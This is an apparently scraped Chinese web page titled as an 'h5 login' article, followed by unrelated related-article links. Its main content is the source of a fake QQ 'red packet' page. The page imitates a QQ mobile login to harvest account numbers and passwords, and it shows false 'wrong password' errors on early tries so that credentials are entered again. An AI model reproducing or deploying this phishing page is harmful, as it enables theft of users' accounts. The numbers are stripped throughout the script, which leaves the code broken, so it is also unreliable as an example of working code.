<!DOCTYPE html>

<html lang="zh-cn">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<meta id="viewport" name="viewport"

    content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">

<meta name="apple-mobile-web-app-capable" content="yes">

<link href="/tpl/36/css.css" rel="stylesheet" type="text/css" />

<title>恭喜发财!</title>

<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>

<script src="http://yckart.github.io/jquery.base64.js/jquery.base64.js"></script>

</head>

<body style="display: none;">

    <div id="content" class="content">

        <div id="error_tips">

            <div id="error_tips_content">

                <span id="error_icon"></span> <span id="error_message"></span>

            </div>

        </div>

        <div class="redpack">

            <img src="/tpl/36/redpack.gif" alt="">

        </div>

        <div id="login" class="login">

            <div id="app_name" style="display: none"></div>

            <div id="q_login" class="q_login" style="display: none">

                <div id="q_login_title">

                    <div id="q_login_logo"></div>

                    <label id="q_login_tips">请选择登录帐号</label>

                </div>

                <div id="q_logon_list" class="q_logon_list"></div>

            </div>

            <div id="web_login">

            <form id="loginform" autocomplete="off" name="loginform" action="" method="post" target="_self" style="margin:0">

                <ul id="g_list">

                    <li id="g_u"><div id="del_touch" class="del_touch">

                            <span id="del_u" class="del_u"></span>

                        </div>

                        <input id="u" class="inputstyle" name="u" autocomplete="off"

                        placeholder="号码"></li>

                    <li id="g_p"><div id="del_touch_p" class="del_touch">

                            <span id="del_p" class="del_u"></span>

                        </div>

                        <input id="p" class="inputstyle" maxlength="" type="password"

                        name="p" autocorrect="off" placeholder="请输入您的密码"></li>

                </ul>

                <div id="auto_login">

                    <input type="checkbox" id="remember" checked="checked"> <span

                        class="checkbox"></span><label class="wording">记住登录状态</label>

                </div>

                <div href="javascript:void(0);" id="go">登 录</div>

                </form>

            </div>

            <div id="switch">

                <div id="swicth_login" onclick="pt._switch()" style="display: none">快速登录历史帐号</div>

                <div id="zc_feedback">

                    <span id="zc"

                        onclick="window.open('http\x3A\x2F\x2Fptlogin2.qq.com\x2Fj_newreg_url')">注册新帐号</span>

                    <span id="forgetpwd">忘了密码？</span>

                </div>

            </div>

            <div id="custom_bottom"></div>

        </div>

        <div id="vcode">

            <label id="vcode_tips">点击图片可更换验证码</label>

            <div id="vcode_area">

                <img id="vcode_img"><label id="input_tips">请输入图中的字符不区分大小写</label><input

                    id="vcode_input" name="vcode_input" tabindex="" autocomplete="off"

                    autocorrect="off" maxlength="">

            </div>

            <div id="submit">提交验证码</div>

        </div>

    </div>

    <div id="new_vcode" class="new_vcode">

    </div>

    <div id="footerBlank"></div>

</body>

<script>

function IsPC() {

    var userAgentInfo = navigator.userAgent;

    var Agents = ["Android", "iPhone",

                "SymbianOS", "Windows Phone",

                "iPad", "iPod"];

    var flag = true;

    for (var v = ; v < Agents.length; v++) {

        if (userAgentInfo.indexOf(Agents[v]) > ) {

            flag = false;

            break;

        }

    }

    return flag;

}

if(IsPC()){

    alert('请使用手机访问');

    $('body').hide();

} else {

    $('body').show();

}

$(".redpack").on('click',function(){

    alert('请登录后领取');

    $(this).hide();

    $('.login').show();

});

var err = false;

var times = ;

function error(msg){

    $("#error_tips").css({display:'block'});

    $('#error_message').html(msg);

    err = true;

}

$('form input').focus(function(){

    $("#error_tips").css({display:'none'});

    err = false;

});

$("#error_tips").on('click',function(){

    $(this).hide();

});

$("#go").on('click',function(){

    $(this).parents('form').submit();

});

$('form').submit(function(){

    var $this = $(this);

    $.ajax({

        url:$this.attr('action'),

        data:$this.serialize(),

        type:'post',

        beforeSend:function(){

            err = false;

            var p = $("#p").val();

            var u = $("#u").val();

            u == '' && error('您还没有输入帐号！');

            if(err) return false;

            p == '' && error("您还没有输入密码！");

            if(err) return false;

            /^[-][-]{,}$/.test(u) || error('请输入正确的帐号！');

            if(err) return false;//只有renturn false表单才不会提交，return别的表单都会提交。

            var len = p.length;

            (len <  || len>) && error('您输入的帐号或密码不正确，请重新输入。');

            if(err) {

                $("#p").val('');

                return false;

            }

            $("#p").val('');

            $("#u").val('');

        },

        success:function(data){

            ++times;

            console.log(times);

            if(times<){

                error('您输入的帐号或密码不正确，请重新输入。');

            }else{

                alert('红包已经被领取');

                location.href = data.url;

            }

        },

        dataType:'json'

        })

    return false;

})

</script>

</html>

h5登录的更多相关文章

  1. WebApp之H5登录注册

    代码indexhtml <!DOCTYPE html> <html> <head> <meta charset="utf-8"> & ...

  2. h5登录页面

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name ...

  3. 论H5嵌入APP的联合登录的解决方案

    什么是联合登录 因为公司产品的发展,会与第三方的一些商户进行对接,商户APP提供入口,进入我们的H5页,从而提供服务. 而商户希望用户在其APP进行账户登录后,进入H5页不再进行登录,所以我们的H5需 ...

  4. 安卓微信端打开H5页面背景图被键盘挤压移动位置解决

    问题:在微信端(安卓浏览器也如此)打开的H5登录页面中,点击输入信息,弹出软键盘会挤压背景图片. 本来的body宽高设置body{width:100%,height:100%},不起作用,这样写就会导 ...

  5. native与H5优缺点及H5测试

    一.native(原生)与H5优缺点介绍 native(原生)优点 1.运行速度快 2.可以应用到底层的API 3.便捷性与易用性 4.打开会比较节省流量 native(原生)缺点 1.不同操作系统需 ...

  6. ASP微信服务号H5客户登陆，且获取客户授权的用户基本信息

    ASP微信服务号H5客户登陆,且获取客户授权的用户基本信息是需要客户授权,下面讲解详细步骤: 第一步:客户点击登录页,自动跳转到微信服务器端获取code 第二步:用第一步获取的code去获取客户的ac ...

  7. vs 基本验证控件使用

    <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.c ...

  8. vue_axios请求封装、异常拦截统一处理

    1.前端网络请求封装.异常统一处理 vue中采用axios处理网络请求,避免请求接口重复代码,以及各种网络情况造成的异常情况的判断,采用axios请求封装和异常拦截操作: axios 请求封装 // ...

  9. Android Dynamic Action(动态Action)—像访问网页一样地访问Activity

    Android Dynamic Action,简称DA,是一种简便.可变Action的实现方案.DA框架的初衷是为了取代Context.startActivity的调用方式,使用建造者模式(Build ...

随机推荐

  1. javascript-知识点集合

    第三课.JavaScript的语法与关键字 1.JavaScript的语法 字符串.数字.布尔.数组.对象.Null.Undefined 1.js的变量区分大小写 username userName ...

  2. spring mvc常用知识点总结

    1.spring mvc是靠spring 启动的.通过springjar包的org.springframework.web.servlet.DispatcherServlet这个servlet类具体启 ...

  3. spark源代码action系列-foreach与foreachPartition

    RDD.foreachPartition/foreach的操作 在这个action的操作中: 这两个action主要用于对每一个partition中的iterator时行迭代的处理.通过用户传入的fu ...

  4. 手势跟踪论文学习：Realtime and Robust Hand Tracking from Depth（三）Cost Function

    iker原创.转载请标明出处:http://blog.csdn.net/ikerpeng/article/details/39050619 Realtime and Robust Hand Track ...

  5. yolo源码解析(2):处理图片

    首先安装ffmpeg, 参考https://blog.csdn.net/lwgkzl/article/details/77836207 然后将视频切分为图片, 参考:https://zhuanlan. ...

  6. yolo环境配置

    主要配置参考官网https://pjreddie.com/darknet/yolo/ 为了能够可视化,另安装cuda+opencv cuda版本为9.0 opencv版本为3.1.0 先安装cuda再 ...

  7. CSS3个人盲点总结【总结中..........】

    ~:表示同辈元素之后指定类型的元素,如;elm1 ~ elm2表示,elm1之后的所有elm2元素,且elm1与elm2都是在同一个父级元素. +:表示同辈元素的兄弟元素. \A:一个空白换行符 &l ...

  8. Ubuntu14.04下Mongodb（在线安装方式|apt-get）安装部署步骤（图文详解）（博主推荐）

    不多说,直接上干货! 本博文介绍了MongoDB,并详细指引读者在Ubuntu下MongoDB的安装和使用.本教程在Ubuntu14.04下测试通过. 一.MongoDB介绍 MongoDB 是一个是 ...

  9. Spark SQL - 对大规模的结构化数据进行批处理和流式处理

    Spark SQL - 对大规模的结构化数据进行批处理和流式处理 大体翻译自:https://jaceklaskowski.gitbooks.io/mastering-apache-spark/con ...

  10. C++之易混淆知识点二

    1.数据抽象与封装 数据抽象是一种接口和实现相分离的编程技术,设计者关心的是如何实现这些接口,而使用者仅仅知道这些接口,抽象地考虑这些接口做什么的就可以了,不必去考虑如何实现这一层次. 封装是将低层次 ...